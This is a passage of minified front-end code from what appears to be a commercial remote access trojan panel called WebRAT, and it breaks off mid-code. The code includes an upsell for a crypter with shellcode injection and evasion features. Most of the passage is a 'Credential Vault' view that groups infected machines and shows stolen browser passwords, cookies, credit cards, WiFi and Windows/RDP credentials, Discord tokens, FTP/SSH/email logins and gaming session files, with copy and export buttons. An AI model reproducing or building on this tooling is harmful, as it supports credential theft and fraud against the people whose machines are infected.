overflow-hidden",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsxs("div",{className:"px-8 py-12 text-center",children:[a.jsx("svg",{className:"w-12 h-12 mx-auto mb-4 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})}),a.jsx("h2",{className:"font-display text-xl font-bold text-zerin-text mb-2",children:"Crypter — Premium Feature"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-6 max-w-md mx-auto",children:"The PE crypter is available with the WebRAT + Crypter license. Encrypt any .exe with layered XOR + AES encryption, RunPE / shellcode injection, and configurable evasion features."}),a.jsx(xt,{to:"/#pricing",className:"inline-block bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-6 py-2.5 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] transition-all duration-300",children:"Upgrade to WebRAT + Crypter"})]})]})})}function MV(e){const t=Date.now()-new Date(e).getTime(),n=Math.floor(t/6e4);if(n<1)return"just now";if(n<60)return`${n}m ago`;const r=Math.floor(n/60);return r<24?`${r}h ago`:`${Math.floor(r/24)}d ago`}function q2(e){const t=new Date(e);return t.toLocaleDateString("en-US",{month:"short",day:"numeric",year:"numeric"})+" "+t.toLocaleTimeString("en-US",{hour:"2-digit",minute:"2-digit"})}function yr(e,t){try{const n=atob(e),r=new Uint8Array(n.length);for(let l=0;la.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})});function LV(){var _,O,P,I,Y,D,M,W,$,H,F,K,Z,oe,de,be,ye,G,te,C,q,ne,B,le,we,Ne,Ae,R,fe,ve,V,ae,U,Q,he,E,ce,J,xe,ke,ze,X,re,se,Oe,et;const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState(""),[o,l]=m.useState(null),[c,u]=m.useState(null),[d,f]=m.useState(new Set),[p,h]=m.useState(null),[x,g]=m.useState(""),[y,v]=m.useState(new Set),b=m.useCallback(async()=>{try{const T=await g_();t(T)}catch(T){s(T instanceof Error?T.message:"Failed to load credentials")}finally{r(!1)}},[]);m.useEffect(()=>{b()},[b]);const w=(()=>{const T=new Map;for(const ie of e){let ue=T.get(ie.agent_id);ue||(ue={agent_id:ie.agent_id,hostname:ie.hostname,username:ie.username,os_version:ie.os_version,grabs:[]},T.set(ie.agent_id,ue)),ue.grabs.push({task_id:ie.task_id,output:ie.output,received_at:ie.received_at})}return Array.from(T.values())})(),j=x?w.filter(T=>T.hostname.toLowerCase().includes(x.toLowerCase())||T.username.toLowerCase().includes(x.toLowerCase())||T.agent_id.toLowerCase().includes(x.toLowerCase())):w,N=(T,ie)=>{var ue,lt,Ct,Lt,gr,Qr,Li,_s,Sf,Jr,bt,rn,kv,zv,Sv,Cv,Pv,Ev,_v;l({agent:T,grabIdx:ie});try{const ct=JSON.parse(T.grabs[ie].output);u(ct);const yn=new Set;(((ue=ct.chrome_passwords)==null?void 0:ue.length)??0)+(((lt=ct.firefox_passwords)==null?void 0:lt.length)??0)>0&&yn.add("passwords"),(Ct=ct.chrome_cookies)!=null&&Ct.length&&yn.add("cookies"),(Lt=ct.chrome_cards)!=null&&Lt.length&&yn.add("cards"),(gr=ct.wifi)!=null&&gr.length&&yn.add("wifi"),(Qr=ct.windows_credentials)!=null&&Qr.length&&yn.add("wincreds"),(Li=ct.discord_tokens)!=null&&Li.length&&yn.add("discord"),((_s=ct.telegram)!=null&&_s.found||(Sf=ct.filezilla)!=null&&Sf.length||(Jr=ct.winscp)!=null&&Jr.length||(bt=ct.putty)!=null&&bt.length||(rn=ct.outlook)!=null&&rn.length)&&yn.add("apps"),((kv=ct.steam)!=null&&kv.found||(zv=ct.epic)!=null&&zv.found||(Sv=ct.minecraft)!=null&&Sv.length||(Cv=ct.roblox)!=null&&Cv.found)&&yn.add("gaming"),(Pv=ct.wallets)!=null&&Pv.length&&yn.add("wallets"),(Ev=ct.vpn)!=null&&Ev.length&&yn.add("vpn"),(_v=ct.errors)!=null&&_v.length&&yn.add("errors"),f(yn)}catch{u(null)}},z=T=>{f(ie=>{const ue=new Set(ie);return ue.has(T)?ue.delete(T):ue.add(T),ue})},k=T=>{v(ie=>{const ue=new Set(ie);return ue.has(T)?ue.delete(T):ue.add(T),ue})},S=(T,ie)=>{navigator.clipboard.writeText(T).then(()=>{const ue=ie?ie.clientX:window.innerWidth/2,lt=ie?ie.clientY-30:window.innerHeight/2;h({text:"Copied!",x:ue,y:lt}),setTimeout(()=>h(null),1200)}).catch(()=>{})},A=()=>{if(!c||!o)return;const T=new Blob([JSON.stringify(c,null,2)],{type:"application/json"}),ie=URL.createObjectURL(T),ue=document.createElement("a");ue.href=ie,ue.download=`creds_${o.agent.hostname}_${o.agent.grabs[o.grabIdx].task_id.slice(0,8)}.json`,ue.click(),URL.revokeObjectURL(ie)};return n?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"})}):i?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-6 py-4 text-sm text-zerin-danger max-w-md",children:i})}):a.jsxs("div",{className:"flex h-full animate-fade-in",children:[a.jsxs("div",{className:"w-80 flex-shrink-0 border-r border-zerin-panel-border flex flex-col bg-zerin-panel/50",children:[a.jsxs("div",{className:"px-4 py-4 border-b border-zerin-panel-border",children:[a.jsxs("div",{className:"flex items-center justify-between mb-3",children:[a.jsx("h1",{className:"text-sm font-semibold text-zerin-text tracking-wide",children:"Credentials"}),a.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:[w.length," client",w.length!==1?"s":""]})]}),a.jsxs("div",{className:"relative",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:x,onChange:T=>g(T.target.value),placeholder:"Filter by host, user, or ID...",className:`w-full bg-zerin-bg border border-zerin-panel-border text-xs text-zerin-text\r placeholder:text-zerin-text-muted pl-8 pr-3 py-2 focus:outline-none focus:border-zerin-accent/40\r transition-colors`})]})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:j.length===0?a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsx("p",{className:"text-zerin-text-muted text-xs",children:w.length===0?"No credential grabs yet":"No matches"})}):a.jsx("div",{className:"py-1",children:j.map(T=>{const ie=y.has(T.agent_id),ue=(o==null?void 0:o.agent.agent_id)===T.agent_id,lt=T.grabs[0];let Ct=null;try{Ct=JSON.parse(lt.output)}catch{}const Lt=Ct?G2(Ct):0;return a.jsxs("div",{children:[a.jsxs("button",{onClick:()=>{T.grabs.length===1?N(T,0):(k(T.agent_id),!ie&&!ue&&N(T,0))},className:`w-full text-left px-4 py-3 transition-colors border-b border-zerin-panel-border/50 ${ue?"bg-zerin-accent-muted/60":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:"flex items-start justify-between gap-2",children:[a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("div",{className:"flex items-center gap-2 mb-0.5",children:a.jsx("span",{className:"text-sm font-semibold text-zerin-text truncate",children:T.hostname})}),a.jsxs("div",{className:"flex items-center gap-2 text-[11px]",children:[a.jsx("span",{className:"text-zerin-text-dim font-mono",children:T.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:T.os_version})]})]}),a.jsxs("div",{className:"flex flex-col items-end gap-1 flex-shrink-0",children:[a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsxs("span",{className:"text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 px-1.5 py-0.5",children:[T.grabs.length," grab",T.grabs.length!==1?"s":""]}),Lt>0&&a.jsx("span",{className:"text-[10px] font-mono text-amber-400 bg-amber-400/10 px-1.5 py-0.5",children:Lt})]}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted",children:MV(lt.received_at)})]})]}),T.grabs.length>1&&a.jsxs("div",{className:"flex items-center gap-1 mt-1.5",children:[a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted transition-transform ${ie?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsxs("span",{className:"text-[10px] text-zerin-text-muted",children:[T.grabs.length," historical grabs"]})]})]}),ie&&T.grabs.length>1&&a.jsx("div",{className:"bg-zerin-bg/50 border-b border-zerin-panel-border/50",children:T.grabs.map((gr,Qr)=>{const Li=(o==null?void 0:o.agent.agent_id)===T.agent_id&&(o==null?void 0:o.grabIdx)===Qr;return a.jsx("button",{onClick:()=>N(T,Qr),className:`w-full text-left px-6 py-2 text-xs transition-colors ${Li?"bg-zerin-accent-muted/40 text-zerin-accent":"text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-text"}`,children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"font-mono",children:q2(gr.received_at)}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted font-mono",children:gr.task_id.slice(0,8)})]})},gr.task_id)})})]},T.agent_id)})})})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:!o||!c?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-8 h-8 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Vault"}),a.jsx("p",{className:"text-zerin-text-muted text-xs max-w-xs",children:"Select a client from the left panel to view their grabbed credentials and session data."})]})}):a.jsxs("div",{className:"animate-fade-in",children:[a.jsx("div",{className:"sticky top-0 z-10 bg-zerin-panel/95 backdrop-blur-sm border-b border-zerin-panel-border px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-3 mb-1",children:[a.jsx("h2",{className:"text-base font-semibold text-zerin-text",children:o.agent.hostname}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:o.agent.agent_id.slice(0,8)})]}),a.jsxs("div",{className:"flex items-center gap-3 text-xs text-zerin-text-dim",children:[a.jsx("span",{className:"font-mono",children:o.agent.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:o.agent.os_version}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:q2(o.agent.grabs[o.grabIdx].received_at)})]})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsxs("span",{className:"text-xs font-mono text-zerin-accent bg-zerin-accent/10 px-2 py-1",children:[G2(c)," items"]}),a.jsxs("button",{onClick:A,className:`inline-flex items-center gap-1.5 text-xs font-medium\r text-zerin-text-dim hover:text-zerin-text\r bg-zerin-panel hover:bg-zerin-panel-hover\r border border-zerin-panel-border\r px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export"]})]})]})}),a.jsxs("div",{className:"p-6 space-y-2",children:[a.jsx($n,{title:"Browser Passwords",count:(((_=c.chrome_passwords)==null?void 0:_.length)??0)+(((O=c.firefox_passwords)==null?void 0:O.length)??0),expanded:d.has("passwords"),onToggle:()=>z("passwords"),children:(()=>{const T=[...c.chrome_passwords??[],...c.firefox_passwords??[]];return T.length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:T.map((ie,ue)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:ie.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:ie.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.username,lt),children:ie.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.password,lt),children:ie.password?"••••••••":""})]},ue))})]})})()}),a.jsx($n,{title:"Browser Cookies",count:((P=c.chrome_cookies)==null?void 0:P.length)??0,expanded:d.has("cookies"),onToggle:()=>z("cookies"),children:(I=c.chrome_cookies)!=null&&I.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cookies.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:T.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:T.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.value,ue),children:[T.value.slice(0,40),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx($n,{title:"Credit Cards",count:((Y=c.chrome_cards)==null?void 0:Y.length)??0,expanded:d.has("cards"),onToggle:()=>z("cards"),children:(D=c.chrome_cards)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cards.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:T.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.number,ue),children:T.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.exp})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx($n,{title:"WiFi Passwords",count:((M=c.wifi)==null?void 0:M.length)??0,expanded:d.has("wifi"),onToggle:()=>z("wifi"),children:(W=c.wifi)!=null&&W.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.wifi.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:T.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password||"(none)"})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx($n,{title:"Windows Credentials",count:(($=c.windows_credentials)==null?void 0:$.length)??0,expanded:d.has("wincreds"),onToggle:()=>z("wincreds"),children:(H=c.windows_credentials)!=null&&H.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.windows_credentials.map((T,ie)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${T.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[T.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),T.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.username,ue),children:T.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.type})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx($n,{title:"Discord Tokens",count:((F=c.discord_tokens)==null?void 0:F.length)??0,expanded:d.has("discord"),onToggle:()=>z("discord"),children:(K=c.discord_tokens)!=null&&K.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.discord_tokens.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:ue=>S(T.token,ue),children:[T.token.slice(0,20),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx($n,{title:"Applications",count:((Z=c.telegram)!=null&&Z.found?1:0)+(((oe=c.filezilla)==null?void 0:oe.length)??0)+(((de=c.winscp)==null?void 0:de.length)??0)+(((be=c.putty)==null?void 0:be.length)??0)+(((ye=c.outlook)==null?void 0:ye.length)??0),expanded:d.has("apps"),onToggle:()=>z("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((G=c.telegram)==null?void 0:G.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),a.jsx("p",{className:"text-xs text-zerin-text font-mono mb-1",children:a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:T=>S(c.telegram.path,T),children:c.telegram.path})}),(((te=c.telegram.files)==null?void 0:te.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:c.telegram.files.map((T,ie)=>a.jsxs("button",{onClick:()=>yr(T.data,T.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",T.name]},ie))})]}),(((C=c.filezilla)==null?void 0:C.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",c.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.filezilla.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[T.host,":",T.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password?"••••••••":""})]},ie))})})]}),(((q=c.winscp)==null?void 0:q.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",c.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.winscp.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password?"••••••••":""})]},ie))})})]}),(((ne=c.putty)==null?void 0:ne.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",c.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.putty.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:T.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[T.host,":",T.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.user})]},ie))})})]}),(((B=c.outlook)==null?void 0:B.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",c.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.outlook.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password?"••••••••":""})]},ie))})})]}),!((le=c.telegram)!=null&&le.found)&&!((we=c.filezilla)!=null&&we.length)&&!((Ne=c.winscp)!=null&&Ne.length)&&!((Ae=c.putty)!=null&&Ae.length)&&!((R=c.outlook)!=null&&R.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx($n,{title:"Gaming Sessions",count:((fe=c.steam)!=null&&fe.found?1:0)+((ve=c.epic)!=null&&ve.found?1:0)+(((V=c.minecraft)==null?void 0:V.length)??0)+((ae=c.roblox)!=null&&ae.found?1:0),expanded:d.has("gaming"),onToggle:()=>z("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((U=c.steam)==null?void 0:U.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[c.steam.loginusers&&a.jsxs("button",{onClick:()=>yr(c.steam.loginusers,"loginusers.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," loginusers.vdf"]}),c.steam.config&&a.jsxs("button",{onClick:()=>yr(c.steam.config,"config.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," config.vdf"]}),(Q=c.steam.ssfn_files)==null?void 0:Q.map((T,ie)=>a.jsxs("button",{onClick:()=>yr(T.data,T.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",T.name]},ie))]})]}),((he=c.epic)==null?void 0:he.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>yr(c.epic.config,"GameUserSettings.ini"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," GameUserSettings.ini"]})]}),(((E=c.minecraft)==null?void 0:E.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",c.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:c.minecraft.map((T,ie)=>a.jsxs("button",{onClick:()=>yr(T.data,`${T.launcher}_accounts.json`),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",T.launcher]},ie))})]}),((ce=c.roblox)==null?void 0:ce.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),c.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:T=>S(c.roblox.cookie,T),children:[".ROBLOSECURITY: ",c.roblox.cookie.slice(0,40),"..."]}):c.roblox.cookie_file?a.jsxs("button",{onClick:()=>yr(c.roblox.cookie_file,"RobloxCookies.dat"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," 